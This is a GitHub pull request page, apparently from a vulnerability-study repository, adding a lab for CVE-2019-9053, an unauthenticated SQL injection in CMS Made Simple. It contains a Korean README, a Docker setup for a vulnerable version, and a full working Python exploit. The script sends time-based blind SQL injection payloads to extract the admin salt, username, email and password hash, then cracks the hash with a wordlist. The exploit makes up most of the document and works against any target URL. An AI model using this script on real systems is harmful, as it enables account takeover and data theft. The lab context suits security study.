Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[최빈/chlqls]: cmsms CVE-2019-9053 분석 코드 및 결과 #169

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added cmsms/CVE-2019-9053/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added cmsms/CVE-2019-9053/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
45 changes: 45 additions & 0 deletions cmsms/CVE-2019-9053/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# CMS Made Simple (CMSMS) < 2.2.10 Unauthenticated SQL Injection (CVE-2019-9053)

> [최빈 (@chlqls)](https://github.com/chlqls)

<br/>

### 요약

- **CMS Made Simple (CMSMS)** 는 개발자, 프로그래머 및 사이트 소유자에게 웹 기반 개발 및 관리 영역을 제공하기 위한 무료 오픈 소스 콘텐츠 관리 시스템임
- 2.2.9.1 이전 버전에서 CMS Made Simple은 인증되지 않은 **SQL Injection 취약점**이 있음
- 공격자는 관리자의 암호 또는 암호 재설정 토큰을 획득 가능함
- 더불어 SSTI 이슈([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120))와 결합되면 공격자가 대상 서버에서 임의의 코드를 실행할 위험 발생

<br/>

### 환경 구성 및 실행

1. `docker compose up -d`를 실행하여 테스트 환경(CMS Made Simple 2.2.9.1)을 실행

2. 서버가 시작된 후 `http://your-ip/install.php/`에 접속하여 CMS를 설치

- 해당 페이지에서 설치 지침에 따라 CMSMS를 설치
- [Step 4] MySQL database address는 `db`, database name은 `cmsms`, username과 password는 둘 다 `root` 입력

![](./1.png)

- [Step 5] Admin 계정 정보는 자유롭게 입력

![](./2.png)

3. `python2 poc.py -u http://127.0.0.1`를 실행하여 위에서 입력한 **Admin 계정이 출력**되는 것을 확인
- SQL Injection 취약점을 이용하기 위해 [https://www.exploit-db.com/exploits/46635](https://www.exploit-db.com/exploits/46635)의 스크립트 활용

<br/>

### 결과

![](result.png)

<br/>

### 정리

- 이 취약점은 공격자가 데이터베이스에서 Admin 계정의 정보를 얻을 수 있어, 정보 유출 및 비정상적인 동작 유발의 위험이 있다.
- 안전한 데이터 관리를 위해서는 입력값을 정규화하고 필터링하여 입력값을 안전하게 처리해야 한다.
13 changes: 13 additions & 0 deletions cmsms/CVE-2019-9053/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
version: "2"
services:
web:
image: vulhub/cmsms:2.2.9.1
ports:
- "80:80"
depends_on:
- db
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cmsms
186 changes: 186 additions & 0 deletions cmsms/CVE-2019-9053/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,186 @@
#!/usr/bin/env python2
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist

def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()

def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])

def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt

def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password

def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True

def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
print colored("[*] Now try to crack password")
crack_password()

beautify_print()
Binary file added cmsms/CVE-2019-9053/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.